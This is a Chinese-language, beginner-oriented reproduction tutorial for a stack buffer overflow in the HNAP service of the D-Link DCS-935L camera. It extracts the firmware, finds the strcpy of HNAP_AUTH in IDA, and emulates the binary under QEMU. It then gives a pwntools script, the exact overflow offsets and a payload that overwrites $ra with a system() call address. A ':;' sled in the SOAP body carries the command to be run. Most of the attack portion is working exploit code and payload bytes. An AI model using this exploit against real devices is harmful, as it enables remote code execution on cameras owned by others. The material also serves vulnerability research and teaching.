CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞 复现

发布时间:2026/10/8 2:12:30

CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞 复现 本文为新手向,步骤会讲的比较多需要linux系统,本文出现的工具需要自己下载简介该漏洞源于D-Link DCS-935L设备中HNAPHome Network Administration Protocol服务组件的代码缺陷。具体受影响文件为/web/cgi-bin/hnap/hnap_service漏洞函数为SetDeviceSettings。在处理SOAP请求时程序未对传入的AdminPassword参数长度进行有效验证直接将其拷贝至固定大小的栈缓冲区中。攻击者可通过构造超长字符串作为该参数的值覆盖栈上的返回地址从而劫持程序控制流。由于HNAP服务通常运行在较高权限下成功利用此漏洞可实现远程代码执行RCE造成机密性、完整性和可用性的全面破坏。固件先下载固件https://legacyfiles.us.dlink.com/DCS-935L/REVA/FIRMWARE/然后使用binwalk解包这个固件在固件的/web/cgi-bin/hnap路径中有hnap_service,这个就是目标文件复现我们将其拖至ida分析,使用ctrlf搜索strcpy函数,strcpy函数很容易出现栈溢出char *strcpy(char *dest, const char *src);如果 src 字符串的长度不含 \0大于或等于 dest 缓冲区的大小strcpy 就会越界写入覆盖 dest 后面的内存选中strcpy后按x,跳转第一个即可按tab键反编译得到伪c代码前两个strcpy我们并不能控制,接着向后看,点击行数坐标的蓝色圆圈为下断点,此行会变红79行到83行的三个strcpy都是通过env的字符串来的,我们查看一下env能否控制第50行可以发现env是外部读取的HNAP_AUTH,也就是说只要我们能够伪造HNAP_AUTH就可以实现栈溢出接下来我们得分析如果才能使得函数能执行到这发现在sub_402280函数中,只要dest不为这五个字符串中的即可接下来我们进一步查看,对着sub_402280函数名按x,可以发现只有main函数用到了这个函数我们发现如果想要运行到sub_402280则需要通过6个判断第一个if的env读取外部的REQUEST_METHOD,所以我们要伪造HTTP请求第二个是判断env是否为空字符的,不为空字符则通过第三个是判断是否为POST请求,所以我们伪造的HTTP请求需要用POST第四个只要SOAP_ACTION不为0即可第五个判断SOAP_ACTION是否为空字符第六个需要CONTENT_LENGTH小于0x0x20000当运行到第63行时会打开/tmp/.hnap_in.xml,由于后续我们调试并不是整个系统级仿真,只对hnap_service这个文件单个调试,所以是没有/tmp这个目录的,需要手动去创建一个,否则会段错误接下来我们需要动态调试查看是否能运行到溢出点,用qemu-static来仿真,创建一个1.txt来作为stdin标准输入,接下来在固件根目录使用下列指令仿真sudo suchroot . ./bin/sh./qemu-mips-static -g 1234 \-E REQUEST_METHODPOST \-E SOAP_ACTION1 \-E COOKIE1 \-E CONTENT_LENGTH4096 \-E HNAP_AUTHaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \/web/cgi-bin/hnap/hnap_service 1.txt我的qemu-static与1.txt都放在固件的根目录1.txt里面的是抓的xml格式的包,因为在sub_402280函数中会解析xml?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ ActionSetDeviceSettings/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope接下来进ida调试,地址为虚拟机的ip地址,使用ifconfig指令找到ens33的ip即可箭头所指的绿按钮可以执行到断点,我们可以发现成功通过6个if判断来到的sub_402280函数入口接下来继续执行,经过第79行后我们可以发现只有0x256大小的s_1被我们塞入了一堆a字符我们查看一下需要多少个字符才能覆盖返回地址,使用pwntools里面的cyclic函数生成1200个字符来覆盖返回地址,我们写个脚本来方便测试,此处cyclic(1200)后有两个空格是因为80与82行有strtok函数会替换空格为截断符import os import subprocess import base64 from pwn import * os.chroot(.) os.chdir(/) http_body b?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ ActionSetDeviceSettings/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope HNAP_AUTH (cyclic(1200) b aaaa ) COOKIE buidaaaa; SOAP_ACTION bhttp://purenetworks.com/HNAP1/Login CONTENT_LENGTH str(len(http_body)).encode() REQUEST_METHOD bPOST subprocess.run( [/qemu-mips-static, -g, 1234, /web/cgi-bin/hnap/hnap_service], inputhttp_body, env{ REQUEST_METHOD: REQUEST_METHOD, SOAP_ACTION: SOAP_ACTION, CONTENT_LENGTH: CONTENT_LENGTH, COOKIE: COOKIE, HNAP_AUTH: HNAP_AUTH } )使用sudo来启动脚本避免chroot出错,一直调试直到崩溃,可以发现返回地址变为了0x6A61616C转换后可以发现是jaal这个字符串,cyclic反推偏移可得为1136,16进制为0x470记住此处的1136能够栈溢出覆盖返回地址的话那我们得尝试覆盖返回地址到后门函数,而我们可以发现在main函数的第209行存在system函数记下此处的地址0x004033E8,后续我们要覆盖返回地址为该地址,控制$s0则我们可以控制$a0,也就是参数的地址我们可以发现要覆盖的$s0在0x470处也就是之前的1136个字符,而我们溢出的变量为s_3,他在sp0x64处,也就是说我们需要0x470-0x64为0x40C个字符来覆盖参数的地址我们要覆盖的返回地址$ra在0x4700x24也就是0x494,0x494-0x64为0x430,也就是1072个字符,为什么是$ra,因为MIPS架构的$ra是返回地址寄存器,可以看到成功覆盖了返回地址HNAP_AUTH (ba*1036 b \x12\x34\x56 ba*32 b \x40\x33\xE8 )那为何我们前面使用cyclic的时候是1136,怎么现在是1072了呢?这是因为不止有一个栈溢出,我们之前是cyclic1200个字符,超过了第一次溢出的1072,所以实际情况我们不能只靠cyclic来判断溢出位置,要结合实际偏移现在我们以及控制程序流执行到了system,那么下一步我们需要对参数来修改,例如将system(s_4);的s_4改为,那么我们需要找到稳定的内存地址,例如stdin与环境变量,此处我们从stdin入手搜索我们指定的字符可以看到地址为0x004319C0,且权限为可读可执行,而stdin的地址不像栈地址一样会变动那么我们现在就可以把deadbeef这个字符串改为ls,将参数地址改为0x004319C0,但是这样可能会产生偏移导致失败,于是我们可以使用:;:;来填充,修改之前的http_body如下http_body b?xml version1.0 encodingutf-8? soap:Envelope xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.w3.org/2001/XMLSchema xmlns:soaphttp://schemas.xmlsoap.org/soap/envelope/ soap:Body SetDeviceSettings xmlnshttp://192.168.0.1/HNAP1/ Action (b:; * 500 bls #) * 10 b/Action DeviceName1/DeviceName /SetDeviceSettings /soap:Body /soap:Envelope 再调试一下,跳到之前的0x004319C0,向下找到我们写的:;在这堆地址中随便选一个,这里我随便选择的0x004342A4调试到崩溃可以发现已经成功执行了ls参考https://www.bilibili.com/video/BV19VAUzUEL6/https://www.ipbuf.com/static/cve/2026/CVE-2026-8260_zh.html
延伸阅读

更多相关文章

2026/10/8 2:12:30

Codex 新特性:终于学会主动问我“要不要开工”了

用 Codex 写代码的人大概都经历过这种尴尬:你让它规划一个任务,它在 Plan 模式里把方案列得井井有条,然后……停在那里等你。你看着那份计划,心想“行,那就开始吧”,于是敲下一句“开始实施”。结果它回你一…

2026/10/8 2:12:30

批量采集网页中联系方式

一篇写给非技术人员的采集联系方式教程:如何在不懂代码的情况下,把网页上公开的电话、邮箱、手机、微信号和QQ等批量采集整理成统一结构的数据。用简数采集器采集联系方式,只需三步:智能向导建任务 → 鼠标点选字段并选正则 → 启…

2026/10/8 2:07:28

Agent Memory 详解:大模型智能体长期记忆架构

Agent Memory是让智能体从一次性工具升级为长期协作伙伴的核心基建。文章介绍了Agent Memory的核心定义、分层架构、检索机制和工程实现,结合LangChain标准化能力与OpenClaw本地持久化创新,提供了可直接落地的技术方案、完整代码示例与流程图。内容涵盖记…

2026/10/8 3:22:35

Agent技能库实战:定义、测试与编排的工程方法论

1. 先说结论:Agent能不能打,七成看“技能”怎么叠去年我给一套客服机器人做智能化改造时,第一版把所有外部动作硬塞进一大段系统提示词里,结果模型经常张冠李戴:用户说“帮我改地址”,它去调了订单删除接口…

2026/10/8 3:22:35

ponytail本地HTTP代理调试工具:轻量级前端联调解决方案

1. 项目概述:从“ponytail”热词切入,还原一个被误读的实用工具本质 最近在多个技术社区和插件市场里,“ponytail”这个词频繁跳出来,尤其常和“插件”“如何使用”捆绑搜索。不少新手第一反应是——这该不会是个新出的浏览器扩展…

2026/10/8 3:22:35

STM32电源引脚全解析:VDDA、VBAT、VCAP接法及PCB设计要点

1. 一张电源树看懂STM32为什么"不止VDD和GND"先说个我真实遇到的场景。几年前帮一个朋友调一块STM32F103的最小系统板,现象特别诡异:板子用ST-Link能连上,程序也能下载,但跑起来就是不稳定——有时候上电直接跑飞&#…

2026/10/8 3:22:35

Docker部署vLLM大模型:从环境配置到生产落地的避坑指南

简介:面向需要在Docker环境中部署vLLM大模型的中高级开发者,这份源码包提供了不同量化方式下的完整部署实现,覆盖QwQ-32B-AWQ、QwQ-32B-GPTQ-Int4和QwQ-32B-GPTQ-Int8三种主流量化方案,可有效解决容器化环境下模型安装、镜像复用与…

2026/10/8 3:22:35

双引擎架构落地指南:GAPS4.1与GXP3.0如何重塑金融系统稳定性

双引擎架构这个概念,在金融圈其实已经被喊了好几年,但真正把“双引擎”落到产品版本层面、并且能在生产环境里跑出稳定表现的,我接触下来觉得恒生GAPS4.1与GXP3.0这套组合比较有代表性。去年做某券商新一代核心系统建设方案时,我花…

2026/10/5 6:32:56

Jev+Agent接管浏览器:browser-use实战与jev-ultrafast性能优化

1. 从“Jev”说起:为什么我要把Agent接进浏览器“Jev”这个词最近在圈子里出现的频率越来越高,很多人第一次听到会以为是某个新模型的名字,其实它更像是一种思路——把Jev模型的能力当作底座,通过Agent的方式去接管浏览器&#xf…

2026/10/7 8:18:33

多智能体集群实战:DeepAgents编排、MCP与A2A协议及Skills体系

1. 从"单兵作战"到"集群协同":多智能体编排到底在解决什么问题如果你最近在折腾 Agent 相关的东西,大概率会有一种感觉:单个 Agent 能做的事情,其实很快就摸到天花板了。你给它一个提示词,挂几个工…

2026/10/6 17:46:51

无源低通滤波器设计实战:从RC到LC,手把手教你避开那些坑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 0:02:17

自然数立方等于连续奇数之和:从证明到编程验证

十几年来我一直游走在数学科普和编程教学这两块内容之间,对“看起来像魔法、拆开全是数学”的结论总是格外敏感。最近翻资料时又撞见一句话:任何一个自然数 m 的立方,都可以写成 m 个连续奇数之和。2 的立方等于 3 加 5,3 的立方等…

2026/10/8 0:02:17

C#上位机SSH连接实战:用SSH.NET补齐超时、批量与密钥认证

简介:这是一份基于 C# 开发的 SSH 连接功能半成品工程,原本作为另一个主项目的子功能模块,现独立打包分享。工程采用 WinForms 界面,包含源码、解决方案、安装部署工程、NuGet 依赖包及说明文档,适合正在做远程连接、网…

2026/10/8 0:02:17

Java SpringBoot一体化智能售后系统设计与实现全解析

毕业设计年年做,Java Web 方向的题目翻来覆去就那么几个,但“一体化智能售后系统”这个题,每次看到我都觉得值得认真聊一聊。它不是一个简单 curd 堆出来的管理系统,而是把客户、工单、派单、处理、回访、统计整条链路串起来的一套…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑